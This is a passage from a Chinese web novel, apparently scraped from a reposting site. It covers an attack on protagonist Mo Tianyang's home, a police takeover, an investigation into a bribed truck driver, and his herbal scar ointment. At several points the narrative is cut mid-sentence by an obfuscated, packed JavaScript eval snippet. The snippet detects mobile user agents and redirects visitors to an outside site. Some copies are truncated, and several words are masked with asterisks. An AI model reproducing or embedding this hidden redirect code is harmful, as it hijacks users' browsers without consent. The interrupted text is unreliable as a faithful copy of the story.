几分钟后，带头的一名执法者才扫视一圈，目光落在莫天扬身上：“谁报得警？” “是我。”满头是血的胡振南上前一步。 带头人皱了皱眉，又瞥了眼莫天扬：“你们涉嫌聚众斗殴，双方都跟我回局里一趟。” 这明显的偏袒，就连不识几个大字的村民都一片哗然——明明是这群人闯入私宅打砸伤人，莫天扬反击自卫，到了他们嘴里竟成了“互殴”？ 莫天扬正要开口，却见颜若曦搀扶着陈亮从楼里走了出来。陈亮脸上青肿，额角还渗着血丝。 “陈教授，连累您了。”莫天扬歉声道。 陈亮摆了摆手，目光直直盯向那名带队的执法者：“你刚才说什么？互殴？别人闯进院子打砸伤人，主人还不能反抗了？你身为执法者，连最基本的法律常识都不懂吗？” 带头人脸色一变，盯着这个穿着普通、伤痕累累的中年人，眼中寒光一闪：“我不懂难道你懂？公然质疑执法，我怀疑你别有用心！来人，把他铐起来带回去好好审查！” 不等分辩，陈亮就被铐上了**。莫天扬眼中厉色一闪，刚要发作，却见陈亮微微摇头示意他冷静。老人转头看向那名执法者，眼中满是讥讽。 “希望你待会儿还能这么嚣张。” “你说什么？” 陈亮连眼皮都懒得抬，只是深吸一口气，目光投向远方。被一个他眼中的“乡巴佬”如此轻视，让那位明显偏袒的执法者顿时怒火中烧。 “把他们全都铐起来，带走！” **咔咔作响。莫天扬眼中满是怒火，可陈亮却微微向他摇头，这让莫天扬一时有些困惑，不明白他的用意。 就在莫天扬一行人即将被带走时，警笛声再次由远及近响起。这一次，不仅是村民，连先前那批执法者也面露错愕。 当又一批执法人员进入院子时，所有人瞳孔一缩——他们身后竟跟着一队荷枪实弹的特战队员。 这些人一进来就迅速控制住整个院落。莫天扬皱了皱眉，看向颜若曦和陈亮，只见陈亮向他肯定地点了点头。 莫天扬仍是一头雾水。当他转头看向新来的人群时，不禁微微一愣——一个高挑的身影映入眼帘。她一身制服勾勒出完美身材，气质出众，竟是个难得一见的美人。 楚婧雅？她不是在沛川吗，怎么会来这里？ “你们是？” 楚婧雅根本懒得看那个带头执法者，她的目光扫过现场，当看到受伤的村民和被铐住的莫天扬等人时，杏眼猛地一缩，眼底掠过一丝寒意。 “这就是你们的执法？” “我……” 啪！ 一记清脆的耳光响起，那个带头执法者竟被直接扇飞出去。全场顿时鸦雀无声。莫天扬心中一动，想起王传林曾经的话：这个楚婧雅，果然是个霸王花。 “你们要干什么！” “知法犯法、包庇**，你们这是在犯罪！全都给我带走！” 刹那间，那批执法者全被控制住。直到这时，莫天扬才隐约明白过来。而那些从浅驼来的执法人员则面如死灰，似乎已经预见到了自己的结局。 “陈教授，您……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376354|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>陈亮摆了摆手，楚婧雅立刻会意。她转向莫天扬，打量着他身上的伤痕，眉头微蹙。 “到底怎么回事？” “我也不太清楚。我刚从浅驼回来，一进门这些人就拿着凶器要废了我。具体情况，我这里有监控。” “在哪？” “我带你去。” 跟着莫天扬走进他的房间，楚婧雅皱了皱鼻子，闻到一股浓重的草药味：“你这是……” “没事弄点中药膏。” 在莫天扬开机的时候，楚婧雅看着他的背影，美眸中闪过一丝复杂的神色：“莫天扬，你是南开毕业的？” 莫天扬没多想，直接点头：“对，刚毕业回来就出了点意外，为了照顾爷爷，就留在村里了。” 楚婧雅若有所思地点点头，俏脸莫名地泛起一丝红晕。 “开机了，要调监控吗？” “不用，我拷贝下来就行。” 楚婧雅拷贝着监控数据，转头看向莫天扬：“你认识那些人吗？” “不认识，一个都不认识。” “那你是不是得罪过什么人？” 莫天扬摇摇头：“我连村子都很少出，能得罪什么人。” 楚婧雅撇了撇嘴：“你回村这几个月，出了多少事你自己不知道？” “那也不能怪我，都是他们来招惹我。” …… 楚婧雅问了不少问题，有些似乎与案件有关，有些又似乎关系不大。莫天扬也没多想。 拷贝完监控，楚婧雅起身看向莫天扬：“你放心，这件事我们一定会查个水落石出。但如果你有违法行为，我们也不会姑息。” 莫天扬淡淡一笑，看向楚婧雅那张近乎完美的容颜。楚婧雅心头莫名一跳，连她自己都感到意外。 “那我这里……” “你可以先找人修缮，保留好所有花费票据。等调查清楚，如果确认与你无关，他们会照价赔偿，你还可以申请其他赔偿。” 楚婧雅来得急，去得也快。他们带走了所有**者和那批执法者，只带走了伤势较轻的莫红兵回去问话。 人群散去后，莫天让陈红丽和颜若曦送胡标等人去医院检查。上车时，颜若曦关切地看向莫天扬： “天扬，你怎么不上车？” 莫天扬摆摆手：“我没事，都是皮外伤。我得去找吕哥重新订做门窗。” “真的没事？” “没事，你们路上慢点。” 颜若曦一行人前往浅驼后，莫天扬去找了吕建国，然后才回到楼房。一楼的门窗损毁严重，莫啸和刘思雨只能待在客厅。 “思雨，那些人过来时什么都没说吗？” 刘思雨摇摇头：“那些人过来时，标叔他们正好在外面。过去询问时，他们只说''莫天扬让别人活不下去，那他也就没必要活了''，接着就开始打砸。宏利他们过去阻拦时，那些人打得更凶，明显是下了死手。” 莫天扬眼眸一缩，脑子飞速运转，思考着到底是谁在背后指使。可是想了半天，却毫无头绪。 第一百八十八章事情并不简单 “沛川那边……” “是陈教授，他直接联系了省里的人。” 莫天扬微微皱眉：“这位陈教授……” 刘思雨闻言一愣：“你不知道陈教授是谁？” “他不就是省农科院的一位教授吗？怎么了？” 刘思雨睁大眼睛，像看外星人一样看着莫天扬：“你难道从来没上农科院的网站查过他的资料？” 她原以为莫天扬既然能请来陈亮，必然对他的背景了如指掌。毕竟那天莫天扬和陈亮相谈甚欢。直到此刻她才明白，莫天扬对陈亮的了解，仅限于那天简短的自我介绍，他根本就没去打听过这位教授的来头。 看着刘思雨惊讶的表情，莫天扬疑惑更深：“难道陈教授还有什么特别的来历？” 刘思雨忍不住白了他一眼：“你以为呢？要不是陈教授身份特殊，一个电话怎么能惊动省里？沛川来的那批人，只比浅驼的晚到了几分钟。” “你快去换身衣服，擦点药吧。” 莫天扬点点头，转向一旁的爷爷：“爷爷，您没事吧？” “我们都没出去，没事。” 回房间时，莫天扬接到莫红兵的电话：“天扬，宏利他们去医院了吗？那位女警官让你把大家的伤情报告发给我。” “都去了，我联系宏利，让他直接发给你。” “他们在哪家医院？那位女警官说要派人过去。” “县人民医院。” 挂断电话，刘思雨轻声说：“等下我帮你涂药。” 莫天扬脚步一顿，回头看向她：“等我看看情况再说。” 洗完澡后，刘思雨走进莫天扬的房间。看到他背上道道青紫的伤痕，她的眼眶顿时红了。涂抹药膏时，她的手微微颤抖。 “以后不能再这么拼命了。要是你真出了什么事，让我们怎么办……” 莫天扬心头一暖，轻声笑道：“没事，我们农村人皮糙肉厚。” 刘思雨抬手轻轻拍了下他的背，莫天扬忍不住咧了咧嘴：“你这是要**啊？” “谁让你胡说八道。” 莫天扬笑了笑，转移话题：“叔叔阿姨这两天怎么没过来？” “他们也要上班。我这边基本上没问题了。再说事故那边也需要处理。” “那个肇事司机怎么处理的？” 刘思雨的手轻轻抚过莫天扬背上的伤痕：“天扬，有件事我觉得奇怪。据调查，那个肇事司机平时从不喝酒，也不知道那天是怎么回事。不过他的认罪态度很好，对赔偿也没有任何异议。” 莫天扬眼神微凝。一个从不喝酒的司机，偏偏在那天喝了酒；一个家境普通的货车司机，对高额赔偿却毫无异议——这确实令人起疑。 “他的家境怎么样？” “是沛川那边的人，家境很一般。我住院的医疗费都是他出的……” 莫天扬点点头，眼中闪过思索之色：“那就好。” “身上还疼吗？” “还好。大青和小白呢？” “早上你去浅驼的时候，它们都进青木山了。要是它们在，今天就不会发生这些事了。” “对了，你今天那么急着去浅驼……” 莫天扬深吸一口气：“莫栓带人把餐馆砸了。” “什么？难道他知道餐馆和你有关系？” 莫天扬摇摇头：“应该不知道。沛川有家星级酒店看上了餐馆的炖肉，想要入股被拒绝后，这几天一直在找麻烦。今天检查部门说在炖肉里发现了蟑螂，多处不合格，把餐馆查封了。随后莫栓就带人去了。” 刘思雨眼中闪过思索之色：“那他……” “不清楚，可能是收了别人的好处。回头我托人打听一下。” “我那边认识不少人，要不要我找人帮忙？” 知道事情不简单，莫天扬不敢让刘思雨卷入其中，只是淡淡一笑：“我自己来就行。莫栓不过是个草包，喝点酒就会胡说八道。你认识的人未必能接触到他。” “天扬，以后你一定要小心点。” …… 下午，吕建国带人来换门窗时，陈宏利他们也回来了。但陈亮没有跟着回来，颜若曦说陈亮被农科院接去省里了。联想到刘思雨上午的反应，莫天扬忽然有种感觉——这位陈教授的身份恐怕不简单。 询问了胡标、曹勇他们的伤势，幸好都是皮外伤。陈宏利、胡振南几人被鉴定为轻伤，伤情报告已经传给莫红兵。虽然楚婧雅建议所有伤者住院观察，但胡标他们都不愿意留在医院，现在已经回家休养了。 听陈宏利这么一说，莫天扬心中涌起一阵感慨。这就是朴实本分的农村人，他们甚至不知道还能索赔这回事，不愿住院也只是怕自己多花钱。 夕阳西下，莫红兵风尘仆仆地赶了回来。他先猛喝了一口茶，才看向莫天扬：“天扬，事情都查清楚了。” “到底是怎么回事？那些人为什么要来打砸？” “还记得上次因为青峰、青羽的事，很多网红的账号被封了吗？”莫红兵叹了口气，“这次来的那帮小混混，就是几个被永久封号的大网红雇来报复你的。他们出了五十万，要废了你，让你一辈子坐轮椅。那些小混混都是外省来的，现在沛川那边已经派人去抓捕幕后黑手了。” 听到这话，莫天扬和颜若曦等人都倒吸一口凉气。当初颜若曦他们就担心那些被断了财路的网红会报复，没想到这么快就来了，而且还是如此狠毒的手段，可见那些人对莫天扬恨之入骨。 “他们自己为了蹭流量毫无底线才被封号，不去反思自己，反而迁怒于天扬，真是太无耻了！” 莫红平深吸一口气，接着说：“按那位楚警官的说法，这次事件性质恶劣，已经上升为**。不光是沛川，连省里都很重视。那些幕后黑手肯定会被严惩，如果罪名成立，恐怕都要吃牢饭。” “那是他们罪有应得！” 随着沛川警方发布通报，多个被封号网红联手雇凶报复莫天扬的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380776|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件瞬间引爆网络。青木村事件引发了无数网民的共鸣，毕竟当初的错根本不在莫天扬。如今这些被封号的网红竟用如此恶毒的手段报复，让广大网友无法接受。不仅那些被带走的幕后黑手，就连其他被封号的网红也再次被网友扒出来鞭挞。 这一次，承受网暴的不再是莫天扬，而是那些曾经无底线蹭流量的网红博主。针对这起恶性事件，工信部也对各大平台下达了整改通知，一时间整个网络震动。有劣迹的网红人人自危，他们都明白，经过青木村这件事，一旦被查，靠网络行骗的日子就到头了。 就在全网热议这件事的时候，青木村却显得格外平静。莫天扬更是很少提及此事，但他内心对那天挺身而出的村民们充满感激。 这天，两辆警车再次驶入青木村，直接开往莫天扬家的大院，立刻引起了村民的注意。很快，村民们就**到了大院外。 “胡标，他们这是……” “来通报案情的，没事，大家都回去吧。” 客厅里，楚婧雅打量着装饰简约却不失大气的客厅，眼中难掩惊讶。她知道王传林他们借钱给莫天扬盖房，却没想到房子的格局如此别致。 这时，一股独特的茶香弥漫开来。楚婧雅转身，看到从厨房端茶出来的颜若曦，顿时愣在原地。 “你……” 颜若曦看了眼楚婧雅，微微摇头。楚婧雅先是一怔，随即会意，转而问道：“这是什么茶？这么香。” 颜若曦轻笑一声，指了指莫天扬：“这是他从青木山里采的野山茶，叫紫烟，味道很不错。楚警官尝尝？” 楚婧雅不由得摇头，给了颜若曦一个无奈的白眼。她在莫天扬对面坐下，目光在刘思雨身上停留片刻，又看了眼正在倒茶的颜若曦，眼中闪过一丝疑惑。 “这茶真好，绝对是顶级香茗。”楚婧雅品了一口茶，赞叹道。 莫天扬看向楚婧雅：“这次过来是……” “关于那天的打砸事件，我们已经查清楚了。是七个被封号的网红认为是因为你才被封号，所以雇凶报复。现在他们已经立案调查，上面很重视这个案子，接下来都会依法严惩。我这次来是向你通报一下，另外你这边的损失……” “若曦，把那些票据拿给楚警官。” 正事办完，楚婧雅起身准备告辞。莫天扬也跟着站起来，虽然心里有些发虚，但人家毕竟是来办事的，于情于理都得送一送。 没想到颜若曦笑着对楚婧雅说：“这都快中午了，要不留下来吃点便饭？” 让所有人意外的是，原本已经收拾好东西准备离开的楚婧雅竟然直接点头：“好啊，那就打扰了。” 莫天扬看看颜若曦，又看看楚婧雅，满心疑惑。这楚婧雅不是以火辣暴力著称吗，难道听不出颜若曦只是客套一下？ “怎么，不欢迎？”楚婧雅挑眉问道。 莫天扬一愣，赶紧摇头：“怎么可能，我这就去准备。” 第一百八十九章猫腻 尽管楚婧雅对莫啸、胡标等人来说仍是陌生面孔，但这一次确实是她带人及时赶到、化解了危机。无论如何，楚婧雅在这次事件中帮了大忙，因此莫天扬准备午饭时格外用心。 正午时分，一道道色香味俱全的珍馐美味被端上桌。颜若曦和刘思雨主动当起了菜品介绍人，就连出身名门的楚婧雅也不禁露出惊讶之色。 她见过世面，什么高档场所没去过？可莫天扬精心烹制的这些菜肴，她却连听都没听说过。不过当听到菜里用了山鸡和野兔时，楚婧雅的脸色微微变了变。 注意到她的表情变化，颜若曦轻笑一声：“婧雅，你可别多想。别说天扬了，就是村里的老人孩子都知道山鸡野兔现在是保护动物。不过政策上还是允许本地居民少量捕食，况且这些都是青峰、青羽和大青它们抓回来的。” “外面的传闻都是真的？” “当然了。今年春天下了一场多年未见的大雪，天扬捡到不少冻僵的山鸡野兔，都舍不得吃，把它们养起来了，更别说主动去抓了。” 楚婧雅点点头：“我还以为……” “别多想。天扬早就说过，违法的事他绝不会做。要是真想走歪路，大学那会儿他也不会去兼职送外卖、捡废品，连同班同学都认不全。” 楚婧雅心中一动，看向颜若曦：“你……” 颜若曦深吸一口气，点了点头，眼中流露出一丝难以掩饰的自嘲。 楚婧雅咯咯一笑，抬手在颜若曦肩上轻轻拍了一下。这个细微的互动，让一直暗中观察的刘思雨心中泛起涟漪。 先前两人的称呼让她以为她们并不相识，可此刻的默契却显得如此自然，这让聪慧如她也不禁感到困惑。 这顿饭让楚婧雅真正见识了“人外有人”。她怎么也想不到，在青木村这个几乎被世人遗忘的荒凉山村，竟藏着莫天扬这样厨艺逆天的人。而他酿制的古酒屠苏，更是超出了她的认知。 带着满心的惊讶，楚婧雅告辞离去。莫天扬家里，只有细心的刘思雨对楚婧雅和颜若曦的关系产生了怀疑，其他人并未多想。 送走楚婧雅后，莫天扬没有回楼房，而是去了酒坊。他要把心中的疑虑说给王海龙听。 当他把所有的猜测都告诉王海龙后，王海龙的眼神骤然锐利起来。原本以为餐馆被砸只是个意外，现在又听说刘思雨的车祸也存在诸多疑点，甚至连县里都可能牵扯其中，王海龙下意识点了点头。 “天扬，我明白你的意思。我这就联系**辉和李国强，让他们回来。或许这次能揪出那个幕后黑手。” “天扬，你身上的伤怎么样了？” “我这皮糙肉厚的，早就没事了。” 王海龙淡淡一笑：“你的身手已经不错了，只要继续练下去，超越我们不是问题。你现在缺的只是实战经验。对了，那天你表演得有点拙劣，好在现场没有练家子，否则一眼就能看穿。” 莫天扬哈哈一笑：“那天也是情急之下临时发挥。等晚上咱们再好好切磋探讨。” 天气日渐转冷，青木村更显萧条。就连青木山也褪去了夏日的葱郁，换上了一片苍凉。气温骤降，村里人只有等到日头升高，才愿意出门走动几步。 莫天扬的日子依旧规律：酒坊、豆芽房、家里，日复一日。更多时候，他都独自待在房间里，埋头研究他的“落液无痕”。尽管屡试屡败，但颜若曦她们都察觉到，药膏中的草药气味正一次比一次变得清淡。 虽然每次尝试都以失败告终，莫天扬对草药药性的理解却日益精进。很多时候，只需瞥一眼颜若曦为他采购回来的药材，他的脑海中便会自动浮现出种种配伍的方子。 对此，莫天扬并未深思。在他想来，这大概是因为自己长时间执念于消除药膏气味，才产生的某种幻觉。 这天，正在房中专注捣药的莫天扬听见房门轻响。他甚至无需回头——单是那推门的动静和一丝若有若无的熟悉香气，便知道进来的是颜若曦。 “若曦，有事？” 蹑手蹑脚走进来的颜若曦不由失笑：“你怎么知道是我？” “直觉。每个人的脚步声都不一样。” “我怎么就听不出来？” “不知道，或许这就是所谓的第六感吧。不光是你们，就连宏利他们过来，我光听脚步也辨得出来。” “你可真是个怪物。刚刚婧雅打电话来了。” 一听到“楚婧雅”这个名字，莫天扬没来由地一阵心虚：“她打电话给你？你……” “上次那些网红雇凶打砸的事情有结果了。所有主谋网红都已入狱，参与打砸的人也都被惩处。就连浅驼那些执法者也有了处理结果——直属领导被开除公职，几个参与的也丢了工作。你这边的赔偿款也下来了，婧雅来问你的账户。” “一共多少？” “门窗损毁、医药费、误工费……加起来六万八千块。” 莫天扬眼神动了动：“若曦，门窗费用是多少？” “两万九千多。” “留下两万九，剩下的钱都给标叔他们分了吧。” 颜若曦微微一愣：“你……” “受伤的是标叔他们，吃苦的也是他们。那是他们应得的。我若拿了这钱，心里不安。” 颜若曦摇摇头，无奈一笑：“爷爷就猜你会这么说。那你打算怎么分？” “大家伤得都差不多，就平均分吧，这样没人说闲话。” 颜若曦转身出去，莫天扬揉了揉发胀的双眼，也跟着走出房间。同颜若曦、刘思雨打了声招呼，他信步迈出院子。 虽还未入夜，气温却已逼近零度。莫天扬深吸一口清冷的空气，目光投向远方的青木山。 一阵劲风袭来，他抬头望天——青峰和青羽如两片巨大的乌云，正在他头顶盘旋。 莫天扬摇摇头，朝前走了几步，青峰和青羽便轻盈地落在他身旁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他抬腿想回去问个明白，却随即摇了摇头。他从小跟着爷爷长大，太了解爷爷的性子——若爷爷不愿说，问也是白问。 随着大青的一声低吼，莫天扬看向外面，他看到李国强提着一个背包从外面进来。 “强哥，回来了。” 李国强点点头，指了指酒坊那边，“走，过去聊。” 李国强他们的房间虽说就在酒坊那边，陈宏利他们和李国强他们也很是熟悉，可陈宏利他们很少去李国强他们住的地方。 房间中依旧是井井有条，被子都是豆腐块，正在看军事书籍的王海龙看到进来的李国强、莫天扬，他下意识起身看了眼外面。 等莫天扬坐下来，王海龙倒了两杯茶，“天扬，这里可没有紫烟，不过这茶也都是顶级的好茶，你将就点喝。” 莫天扬淡淡一笑，这茶都是当初王传林他们还在发达的时候过来的礼物，也是后来自己有了紫烟，那些茶没人喝，莫天扬就送给王海龙他们。 “强哥，这段时间调查出什么没有。” 李国强点点头，“天扬，的确有问题，”在说话的同时李国强再次起身看了眼外面。 第一百九十章果然有问题 “天扬，餐馆被打砸的事，确实是沛川那家星级酒店在背后运作。但我们仔细调查过，那家酒店和安云飞没有任何关联——安云飞甚至从未去过那里。” “酒店老板是什么人？” “一个背景干净的商二代，和之前搞垮王传林集团的那伙人一样，表面上没有任何劣迹。我们跟踪了他很多次，生活极其规律，偶尔也只是去郊区农村转一转。” 莫天扬皱起眉头。连王海龙他们都查不出问题，这确实让他有些意外。“那莫栓那天去砸店，又是怎么回事？” “莫栓靠着安云飞的关系，在县里混得风生水起，收拢了一帮游手好闲的小混混，到处收保护费。这次他是收钱办事，目标就是我们的餐馆。” 莫天扬眼神一沉：“是酒店那边指使的？” “对，就是最初上门谈合作的那个经理。莫栓被带走后没多久就放了。我们拿到了他和那帮小弟喝酒时吹牛的视频，不过这一切，安云飞似乎并不知情。” “天扬，要不要把视频……” 莫天扬深吸一口气：“如果视频曝光，莫栓会怎么样？” “餐馆那边也就是砸了些桌椅玻璃，最多算治安拘留，赔偿损失。” “没办法让他进去？” “他平时也就是带人白吃白喝，收点保护费，构不成大罪。” 莫天扬不禁摇头。莫栓是个**，更是他心头的一根刺。虽说看不起他，但莫栓毫无底线的做法实在令人作呕。 “车祸调查得怎么样了？” “那个司机一直靠拉货为生，平时很少来浅驼。就在事发前几天，他的账户突然收到一笔一百万的转账，没过几天就出了车祸。” “转账人是谁？” “林浩宇母亲手下的一个人。” 莫天扬目光骤寒。当初听刘思雨说起车祸时，他就怀疑事情没那么简单，果然查出了隐情。 这显然是林家因为林浩宇的事迁怒于刘思雨，花钱找了一个急需用钱的货车司机。他们的目的很明确——就是要毁掉刘思雨。若不是自己有灵泉空间这样的逆天机缘，刘思雨这辈子恐怕就真的完了。 “能不能从转账入手……” 李国强摇摇头：“虽然明眼人都能看出是林家报复刘思雨，但经手的人和林家没有直接关联。只要货车司机不开口，谁也动不了他们。” “林家迟早要被这些**拖垮。” 王海龙眼神闪烁了几下：“天扬，我担心林家接下来会对刘思雨的父母下手。” 莫天扬脸色一变。刘思雨是侥幸逃过一劫，但如果林家故技重施，只需要花一大笔钱，确实能找到很多愿意铤而走险的人。 “辉哥现在在哪？” “还在沛川。” 莫天扬深吸一口气：“让辉哥盯紧那个转账的人。既然第一次是他买凶，如果林家还要报复刘家，很可能还会通过他操作。” “行，我这就通知**辉。” “另外让胜哥他们盯紧莫栓和安云飞。这两颗毒瘤必须除掉，否则不知道还要祸害多少人。” 王海龙和李国强相视一眼，无奈地叹了口气。每个人的眼中都闪过一丝杀意。他们曾经流血流汗保卫这个国家，最痛恨的就是林浩宇这样的**。若是在古代，他们或许早已替天行道。但如今是法治社会，他们也无能为力。 “海哥，还有没有像你们这样的人？”莫天扬忽然问道。 王海龙和李国强微微一怔。他们了解莫天扬的为人，更明白他问这句话的用意。 “还有六个。那几天和我们聊的时候还让我们问问你这边还需不需要人手，”王海龙沉吟片刻，答道。 “把他们都找来吧。既然没人能动得了那些人，我们就自己找出他们违法的证据，将他们绳之以法。” 王海龙和李国强对视一眼，神色凝重。“天扬，我们倒是无所谓，但你的前途不可限量。一旦事情传出去，你知道你会面对什么吗？” 莫天扬深吸一口气，目光坚定：“我知道自己在做什么。不是我要这么做，是他们逼得我不得不做。如果我不行动，也许某天我也会遭遇和刘思雨一样的事。与其坐等他们报复，不如我先将他们彻底清除。” 王海龙和李国强眼神闪烁。这么长时间的相处，他们早已看清莫天扬的为人——他一心只想让身边的人过得更好，却不断有人来找麻烦。林家既然敢报复刘思雨，而刘思雨现在就在青木村，一旦他们知道刘思雨已经康复，必然会迁怒于莫天扬。 莫天扬已经改变了他们的命运，他们当然不希望莫天扬出事。既然如此，他们只能用莫天扬的方式来保护他。 “天扬，他们来了之后怎么安排？” “让他们去沛川的农贸公司。那边现在只做最简单的二手倒卖，是他们最好的安身之处。到时候我会通知那边的李红军。” 说完，莫天扬看向李国强：“强哥，你们这样来回跑也不是办法。如果愿意的话，让嫂子和孩子也过来吧。哪怕不愿意住在村里，在县里也行，彼此也好有个照应。” 李国强愣了一下。徐志国他们的妻子现在都在浅驼，既能一家人团聚，又能赚钱养家，他们内心当然希望自己的家人也能过来，只是不好意思开口。 “天扬，这样合适吗？” “有什么不合适的？反正雇别人也要花钱，不如让自己人赚。” “可我们都是外来户，这样过来，村里人会不会说闲话？” “他们说是他们的事。我用人的原则是用可靠的人。这样吧，我正打算扩大餐馆规模，不如让嫂子她们去县里，跟着胜哥他们做事。” “行，这几天我先让她们找住的地方。” 从王海龙住处出来，莫天扬信步走向后院的温室。这几天下来，温室里的菜秧、瓜苗都已长到一寸多高，绿油油的一片生机勃勃。 “天扬，你来了。这些菜苗是不是可以移栽了？”正在温室里忙碌的胡标抬头问道，脸上带着期待的笑容。 莫天扬蹲在苗床边，小心翼翼地将一株嫩绿的菜秧扶正，仔细查看秧苗的长势。翠绿的叶片在温室的灯光下泛着健康的光泽，根茎粗壮，长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫天扬赶帮摆手，“怎么可能呢，上一次要不是你，我们还不知道要遭受什么，你是我们的恩人，怎么可能不欢迎。” 楚婧雅咯咯一笑，“还算你有良心，我正好休假，过来看看若曦，顺便蹭顿饭。” “家常便饭，喜欢就好。” 就在这时，李国强提着背包走了过来，在看到莫天扬身边的楚婧雅，李国强微微一愣，他冲着莫天扬点点头。 “天扬，我先走了。” 楚婧雅看着李国强笔直的背影，杏目闪烁了几下，“莫天扬，他是什么人。” 颜若曦咯咯一笑，“春天的时候，他在县医院帮过王海龙，后来不是有人拦路**运菜车，正好王海龙过来感谢天扬，天扬在知道王海龙是退役人员，就邀请他过来帮忙，李国强、**辉是王海龙的战友，怎么了？” 楚婧雅摇摇头，“我就说呢，他怎么和一般人不一样，”在说出这话的时候，楚婧雅的眼底流露出一丝惊讶，她能够感受到这个李国强似乎和普通的退役人员不太一样。 第一百九十一章不务正业? “这都入冬了，他们这是要放假回家？”楚婧雅看似随意地问道。 莫天扬目光微动，从容应答：“若曦或许和你提过，我这边事情一直不断，现在还有人盯上了我的屠苏酒，哪能轻易放假。酒坊不大，留一个人照看就够了。强哥之前提过想接妻儿过来，估计是去浅驼找住处了。” 楚婧雅第一次来访时就已经注意到莫天扬这边的情况。这里的工资不低，李国强他们拖家带口来打工也合情合理，毕竟两个人赚钱总比一个人多。莫天扬的解释合情合理，打消了楚婧雅的些许疑虑，她没再多想，真把李国强他们当成了普通的退役军人。 “莫天扬，听若曦说温室里的蔬菜都长起来了，还有些我没见过的品种，我能去看看吗？” “当然可以，让若曦陪你去吧。我去准备午饭，你们有什么想吃的？” 一听莫天扬要下厨，楚婧雅眼睛顿时亮了。上次在这里吃过一顿饭后，她回家后一直念念不忘。这次过来名义上是看望颜若曦，其实很大程度上是来蹭饭的。 “你看着做，什么都行。”没等颜若曦开口，楚婧雅抢先答道。 “好。” 走出几步，莫天扬忽然觉得有些不对劲。他回头看了眼挽着手、状似亲密的颜若曦和楚婧雅，眼中掠过一丝疑惑——这两人不过才见第二面，怎么就好得像认识了很久似的？ 这个念头只是一闪而过，莫天扬随即摇了摇头。古话说得好，女人心海底针，他这个感情小白根本摸不透女孩的心思，更不知道颜若曦、楚婧雅乃至刘思雨都在想些什么。 …… 午饭过后，颜若曦、刘思雨和楚婧雅在客厅闲聊，莫天扬不好意思掺和，打了个招呼就想回自己房间。 “天扬，你过来一下，婧雅找你有事。”颜若曦叫住了他。 莫天扬微微一怔，走过去坐下：“楚警官，是案件有什么……” 楚婧雅眨了眨杏眼，笑道：“咱们也见过几面了，叫我楚婧雅或者婧雅都行，别这么生分。” 莫天扬尴尬一笑：“知道了。” “是私事，不是案件。” “私事？”莫天扬心头一紧，难道楚婧雅知道了黑市那件事是他…… “思雨的情况我了解过，燕京的专家都说她恢复无望，可用了你的落液无痕后，脸几乎恢复如初。别说思雨，就连若曦的肌肤都比以前更好了。她们说即使素颜，肤质也比以前用了化妆品还要好。所以……我想从你这买点落液无痕。” 莫天扬一愣：“楚婧雅，你应该知道落液无痕是我按古方配的，确实能祛疤美颜。可一旦出售，这就是三无产品，万一出了问题，后果你应该清楚。” 楚婧雅轻笑一声：“能让容貌尽毁的思雨恢复到现在的样子，这种产品别说国内，全世界都独一份。我有什么好担心的？你放心，我就自己用，绝不会说出去，更不会带人来抓你。” 莫天扬也被逗乐了：“若曦和思雨几乎不出门，你可是要上班的，总不能每天一身中药味去单位吧？” “我不管，总比那些含化学添加的化妆品强。再说我经常受伤，有落液无痕就不怕留疤了。” “这才是你想要落液无痕的主要原因吧？” “对。另外思雨她们说，你还有一种药水……” 莫天扬看向刘思雨和颜若曦，两人相视一笑。他无奈摇头：“这要是楚婧雅是来暗中调查的，你们可就把我卖了个干净。” 这话引得三人都笑了起来。确实，如果楚婧雅是普通人倒没什么，偏偏她身份特殊。 “莫天扬，你就放心吧，在你的产品注册之前，我绝对不会说出去。” “行吧。” “我回去就往里加点花露水。”见莫天扬答应，楚婧雅开心地说。 “没用的，我们都试过了。” 说者无心，听者有意。这句话让莫天扬心头一亮，突然想到了消除落液无痕药味的方法——在配方中添加从花卉中提炼的天然香精。同属植物萃取，花卉香精很可能与落液无痕完美融合。 还有另一种思路：通过调整草药配伍，让药草自身散发出清香，以此掩盖原本的药味。 有了灵感，莫天扬深吸一口气，眼中闪烁着兴奋的光芒：“我想到一个可能消除药味的方法，你们先聊，我得回去好好琢磨琢磨。” 自那以后，莫天扬几乎将所有时间都投入到了研究中，连温室都很少去。大多数时候，他都把自己关在房间里，即便是深夜，王海龙他们也能看到他窗口透出的灯光。 这天，莫天扬终于从房间里走了出来。他胡子拉碴，眼中却闪烁着激动的光芒。颜若曦和刘思雨见状，精神都为之一振，似乎预感到了什么。 “天扬，成功了吗？”两人异口同声地问道，目光不约而同地落在他手中的小药钵上。 